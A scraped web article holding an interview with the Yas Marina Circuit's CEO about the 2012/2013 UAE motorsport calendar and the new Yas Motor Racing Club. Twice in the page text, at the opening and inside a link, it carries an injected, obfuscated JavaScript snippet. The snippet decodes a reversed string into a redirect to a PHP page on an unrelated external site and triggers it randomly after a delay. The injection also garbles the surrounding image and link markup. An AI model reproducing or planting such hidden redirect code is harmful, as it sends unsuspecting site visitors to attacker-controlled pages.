$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2012/10/IMG_0013.jpg” width=”728″ height=”485″ />
A few weeks ago, the Dubai Autodrome Motorsport Club (DAMC) $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/20122013-uae-motorsport-calendar-announced/” target=”_blank”>announced its calendar for the 2012/2013 season, with the usual suspects lining up front and centre. Not wanting to be left out, the Yas Marina Circuit today released its own calendar for the upcoming motorsport year.
Chief among the events was, of course, the Abu Dhabi Grand Prix, which runs 1-4 November. There was however a new addition to the line-up, namely the brand-new Yas Motor Racing Club, founded as a means of developing grassroots in motorsport across the UAE.
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Considering the current state of Middle Eastern motorsport, and also considering that its heyday – as judged by falling grid numbers last year – is long gone, this seems an odd time to launch a brand new motorsport initiative. Two motorsport divisions running side-by-side (and thus splitting fanbase and competitor entries) may see each inadvertently shooting themselves in the foot.
Curious to know how this balancing act could be achieved without the curtain falling early, crankandpiston forewent its Black Forest Malt and a Philly cheese steak (temporarily) to collar CEO of the Yas Marina Circuit Richard Cregan for his views on the situation.
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Richard, let’s dive straight in with the new 2012/2013 calendar. It’s quite important, considering the – let’s say – tentative position regional motorsport finds itself in, that Yas gets this one right…
“We’ve been looking at it for quite some time now. We wanted to make sure we got it right. I’m sure during the season we will learn more, because that’s normal, but I think that a lot of people have worked tirelessly in actually getting this right; listening to the competitors, listening to the enthusiasts that are out there, putting the club together – which is a very significant part of that step – and just creating a meeting place for the motorsport community. That’s been a target of ours for quite some time.”
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Probably the biggest talking point on the 2012/2013 calendar is the new Yas Motor Racing Club. How did that come about exactly?
“By demand, to a large extent. A lot of people have worked hard in the past to develop motorsport in the UAE, no question about that. But we had a lot of requests from enthusiasts and licence holders to put together a club, and we reacted to that. We’re in a good situation that we have a beautiful facility, and therefore wanted to utilise it more and so make it into a club.
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“When people are part of a club, they feel like they belong, and if we are to work with ourselves, the Dubai Autodrome, Al Ain Raceway, and the ATC UAE, we have to work together to develop motorsport. We have to work together to do that, and I think the club is a very important part of that.”
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Isn’t there a certain amount of risk involved with introducing a new motorsport initiative when many of the established series are struggling to survive?
“Of course. There’s risk involved with everything, but it’s about managing the risk. I think it’s very easy to make those decisions when the economy is booming, and there are lots of members who want to join. I think it’s a far braver decision to do it now. But now is when we need to do it to develop the motorsport business and the motorsport community.
“Yes, it is a brave decision, but I think it’s exactly what’s needed. When times are not so good is when you need to take that bold step into a particular market. We need to play our part in that and hopefully it will help bring motorsport back up in the region.”
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So why introduce a whole new club? Why not work to strengthen that which is already in operation?
“Well again, a lot of it was down to the initial approaches made by competitors and teams and so on who asked us to do it. We responded to their requests and that’s the reason we’ve done it. Plus, we’ve developed Yas Central [the circuit’s amenities area] and we just thought the timing was right to develop the sport.”
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Seems that a lot of work has been done to get feedback from the voices that matter…
“You cannot do something like this without them. You need the licence holders, you need the competitors whether they’re international or local, and you have to listen to them. It’s very important to make sure you’re listening to your customers in any business. So that’s what we did. We sat down, and listened to them.
